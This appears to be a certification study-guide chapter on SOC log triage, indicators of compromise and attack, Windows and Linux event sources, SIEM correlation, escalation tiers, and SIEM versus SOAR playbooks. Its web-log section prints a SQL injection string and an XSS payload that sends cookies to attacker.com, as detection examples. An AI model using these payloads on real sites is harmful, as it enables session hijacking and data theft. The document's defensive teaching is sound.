6.5 SOC Operations, Log Triage, & Event Monitoring

Incident Detection, Log Triage, & Event Analysis

Quick Summary: Detecting security incidents requires continuous monitoring across heterogeneous enterprise log sources, including operating systems, network firewalls, DNS servers, web proxies, and Endpoint Detection and Response (EDR) agents. Once an alert triggers, Tier 1 Security Operations Center (SOC) analysts must perform rapid log triage—correlating raw event logs, eliminating false positives, identifying Indicators of Compromise (IoCs), and establishing incident severity to drive technical escalation.

---

1. Detection Taxonomy: Events, Alerts, & Confusion Matrix

SOC monitoring systems continuously digest millions of raw log entries per day. To manage this massive data volume, detection platforms apply correlation rules to generate actionable alerts.

The Security Detection Confusion Matrix

Alert Tuning Objectives:

• Minimizing False Negatives: The ultimate technical goal, ensuring adversaries cannot bypass security controls undetected.
• Reducing Alert Fatigue: Excessive False Positives lead to analyst burnout and overlooked alerts. SOC engineers continuously tune correlation rules to filter benign anomalies.

---

2. Attack Telemetry: Precursors, IoCs, & IoAs

Effective incident triage relies on categorizing threat artifacts into three distinct intelligence categories:

1. Precursors: Early indicators of adversary activity during the reconnaissance phase. Examples include port scans detected by firewalls, web application vulnerability scans (e.g., Nikto, Acunetix user-agents in WAF logs), or phishing domain registration alerts.
2. Indicators of Compromise (IoCs): Static evidence left behind by malware or an adversary after gaining access. IoCs are reactive and signature-based. Examples include cryptographic file hashes (MD5, SHA-256), malicious IPv4/IPv6 addresses, domain names associated with Command and Control (C2) servers, specific registry modification paths, and known webshell filenames.
3. Indicators of Attack (IoAs): Dynamic, behavioral indicators focused on how an adversary executes an attack, regardless of the specific malware signatures used. IoAs enable proactive detection of novel or fileless zero-day threats. Examples include living-off-the-land techniques (e.g., powershell.exe spawning from winword.exe with base64 encoded parameters), LSASS process memory access, or unauthorized lateral movement using Windows Management Instrumentation (WMI).

+-----------------------------------------------------------------------+
|                   INDICATOR TYPE COMPARISON                           |
+-----------------------------------------------------------------------+
| PRECURSOR           | INDICATOR OF COMPROMISE | INDICATOR OF ATTACK     |
| (Reconnaissance)    | (IoC - Reactive)        | (IoA - Proactive)       |
+---------------------+-------------------------+-------------------------+
| Port scanning       | Malware SHA-256 hash    | Word spawning PowerShell|
| Vulnerability probe | Hardcoded C2 IP address | LSASS memory dump       |
| Suspicious DNS look | Malicious Registry Key  | Unvalidated WMI execution|
+-----------------------------------------------------------------------+

---

3. Essential Log Triage Across Data Sources

Incident responders must understand how to parse and interpret native system logs across Windows, Linux, and network environments.

A. Critical Windows Security Event IDs for Triage

Windows Security Event Logs (accessible via Event Viewer or ingested into SIEM) provide critical forensic evidence during endpoint investigation.

B. Microsoft Sysmon (System Monitor) Telemetry

Sysmon is a Windows system service and device driver that provides granular logging of system activity to the Windows Event Log (Applications and Services Logs/Microsoft/Windows/Sysmon/Operational):

• Sysmon Event ID 1 (Process Creation): Captures process hashes (SHA-256), parent process command lines, and process integrity levels.
• Sysmon Event ID 3 (Network Connection): Maps process execution directly to outbound destination IP addresses and port numbers.
• Sysmon Event ID 7 (Image Loaded): Tracks DLL modules loaded by processes, detecting DLL search order hijacking.
• Sysmon Event ID 11 (File Create): Logs file creation timestamp and path, capturing dropped malware payloads.

C. Linux Authentication & Audit Logging

Linux incident response focuses on parsing text-based log files in /var/log:

• /var/log/auth.log (Ubuntu/Debian) or /var/log/secure (RHEL/CentOS): Captures SSH authentication attempts, sudo elevation commands, and user creation events.
• /var/log/syslog or /var/log/messages: Centralized system events log.
• Linux Audit Framework (auditd): Monitors system calls (execve) to log executed binaries and file modifications (/var/log/audit/audit.log).

D. Network Telemetry & Web Log Triage

• Firewall & Proxy Logs: Parsing ACCEPT vs. DROP/REJECT actions, destination URLs, and HTTP response status codes.
• DNS Server Logs: Identifying DNS Tunneling and exfiltration by detecting unusually long subdomains containing base64 data strings (e.g., a3F4eD...c2Z.malicious-domain.com).
• Web Server Access Logs (Apache / Nginx): Inspecting GET/POST requests for web attack vectors:
  • SQL Injection: SELECT * FROM users WHERE id='1' OR '1'='1'; (Triggers HTTP 200 or 500 status codes).
  • Cross-Site Scripting (XSS): <script>document.location='http://attacker.com/cookie='+document.cookie</script>

---

4. SIEM Alert Correlation & Triage Analytics

Security Information and Event Management (SIEM) systems (e.g., Splunk, Microsoft Sentinel, IBM QRadar) aggregate, normalize, and correlate logs across heterogeneous enterprise sources.

SIEM Analytics Mechanics:

1. Rule-Based Correlation: Triggering alerts when specific boolean conditions are met within a time window (e.g., Alert if >10 Event ID 4625 failed logons occur from a single IP within 60 seconds followed by 1 Event ID 4624 successful logon).
2. Time-Sequence Analysis: Ordering log events chronologically across perimeter firewalls, web proxies, and host EDR to reconstruct an adversary's kill-chain attack path.
3. User and Entity Behavior Analytics (UEBA): Applying machine learning baselines to detect behavioral anomalies (e.g., a user account logging in from an unfamiliar geographic region at 3:00 AM and accessing 50GB of financial databases for the first time).

---

5. Incident Severity Rating & Tiered Escalation

Upon confirming a security incident, Tier 1 SOC analysts evaluate its severity using a standard Incident Severity Matrix based on three NIST parameters: Functional Impact, Information Impact, and Recoverability Effort.

Tiered SOC Escalation Pipeline:

• Tier 1 (SOC Analyst / Triage): Monitors SIEM queues, parses raw logs, eliminates false positives, validates IoCs, and assigns initial severity.
• Tier 2 (Incident Response Lead): Executes technical containment, revokes compromised credentials, applies playbooks, and coordinates system recovery.
• Tier 3 (Forensic & Malware Specialist): Performs deep volatile memory analysis, reverse engineers custom malware binaries, and identifies complex zero-day threats.

---

6. SIEM and SOAR: The Two Platforms Named in the Blueprint

Blueprint sub-topic 5.1 names SIEM and SOAR together and asks you to explain the role of each. They are complementary, not competing, and the exam tests the distinction.

What a SIEM does

1. Collection — ingests logs from endpoints, servers, firewalls, IDS/IPS, cloud services, identity providers, and applications.
2. Normalisation — converts inconsistent formats into a common schema so a "logon failure" from Windows and from Linux can be compared.
3. Correlation — applies rules across sources and time. A single failed logon is noise; forty failed logons across twelve hosts from one source in ninety seconds, followed by one success, is a credential-stuffing alert.
4. Alerting and dashboards — surfaces prioritised alerts to the SOC queue.
5. Retention and search — preserves logs for compliance and for retrospective hunting when a new indicator is published.

What a SOAR adds

A SOAR platform sits above the SIEM and other tools and executes playbooks — codified sequences of response actions. A typical phishing playbook:

1. Alert arrives from the SIEM or from a user-reported mailbox.
2. SOAR automatically extracts URLs, attachments, and sender details.
3. It enriches them — detonates the attachment in a sandbox, checks the URL and sender reputation against threat intelligence, and queries whether other users received the same message.
4. If the verdict is malicious, it acts: purges the message from all mailboxes, blocks the sender and URL at the mail gateway and proxy, and opens a case.
5. It escalates to a human only if anyone actually clicked, or if the verdict is ambiguous.

The payoff is consistency and time. Work that takes an analyst twenty minutes of tool-switching completes in seconds, identically every time, and the analyst's attention goes to the cases that genuinely need judgement.

Where automation should stop

SOAR playbooks routinely handle low-risk, reversible actions automatically — blocking an IP address, purging a phishing email, disabling a plainly compromised account. High-impact or hard-to-reverse actions — isolating a production server, disabling an executive's account, wiping a device — should require human approval, because a false positive acting at machine speed becomes a self-inflicted outage. This is the standard exam framing: automate enrichment and containment of low-risk actions; keep a human in the loop for high-impact ones.